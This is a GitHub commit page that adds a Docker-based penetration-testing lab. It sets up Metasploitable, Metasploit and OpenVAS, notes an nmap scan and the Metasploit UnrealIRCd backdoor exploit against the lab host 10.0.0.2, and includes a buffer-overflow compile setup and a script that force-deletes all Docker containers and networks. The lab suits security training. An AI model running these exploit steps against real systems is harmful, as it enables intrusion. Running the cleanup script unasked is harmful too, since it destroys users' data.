-
Notifications
You must be signed in to change notification settings - Fork 33
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
eb19e9b
commit a329c7f
Showing
16 changed files
with
98 additions
and
129 deletions.
There are no files selected for viewing
Binary file not shown.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,14 @@ | ||
### metasploitable and open-vas | ||
|
||
docker-compose up | ||
|
||
### nmap | ||
|
||
nmap -p0-65535 -sV -O 10.0.0.2 | ||
|
||
### metasploit | ||
|
||
msf > use exploit/unix/irc/unreal_ircd_3281_backdoor | ||
msf > show options | ||
msf > set RHOST 10.0.0.2 | ||
msf > exploit |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,7 @@ | ||
#!/bin/bash | ||
|
||
docker stop $(docker ps -a -q) | ||
docker rm -f $(docker ps -a -q) | ||
docker network rm $(docker network ls -q) | ||
docker volume rm $(docker volume ls -f dangling=true -q) | ||
docker rmi $(docker images -f dangling=true -q) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,36 @@ | ||
version: '3' | ||
|
||
services: | ||
metasploitable: | ||
build: ./metasploitable | ||
image: metasploitable | ||
container_name: metasploitable | ||
tty: true | ||
networks: | ||
channel: | ||
ipv4_address: 10.0.0.2 | ||
|
||
metasploit: | ||
build: ./metasploit | ||
image: metasploit | ||
container_name: metasploit | ||
tty: true | ||
networks: | ||
channel: | ||
ipv4_address: 10.0.0.3 | ||
|
||
openvas: | ||
image: mikesplain/openvas | ||
container_name: openvas | ||
ports: | ||
- "443:443" | ||
networks: | ||
channel: | ||
ipv4_address: 10.0.0.4 | ||
|
||
networks: | ||
channel: | ||
driver: bridge | ||
ipam: | ||
config: | ||
- subnet: 10.0.0.0/24 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,4 @@ | ||
FROM strm/metasploit:latest | ||
|
||
CMD /bin/bash | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,6 @@ | ||
FROM meknisa/metasploitable-base:latest | ||
|
||
COPY ./init.sh /root/init.sh | ||
|
||
CMD /root/init.sh | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,5 @@ | ||
#!/usr/bin/env bash | ||
|
||
/usr/bin/unrealircd | ||
|
||
/bin/bash |
Binary file not shown.
Binary file not shown.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,3 @@ | ||
FROM ubuntu | ||
|
||
RUN apt-get update && apt-get install gdb gcc-multilib libssl-dev python -y |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,3 @@ | ||
#!/bin/bash | ||
gcc /shared/test.c -o /shared/test -fno-stack-protector -m32 | ||
objdump -d -M intel /shared/test > /shared/test.x86 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,19 @@ | ||
#include <stdio.h> | ||
#include <string.h> | ||
|
||
int foo2(int *i, char *s){ | ||
//printf("%d", *i); | ||
char buffer[10]; | ||
//strcpy(buffer, s); | ||
//printf("%s", buffer); | ||
} | ||
|
||
int foo(){ | ||
int i = 8; | ||
char *s = "hello"; | ||
foo2(&i, s); | ||
} | ||
|
||
int main(int argc, char **argv){ | ||
foo(); | ||
} |
Binary file not shown.
This file was deleted.
Oops, something went wrong.
This file was deleted.
Oops, something went wrong.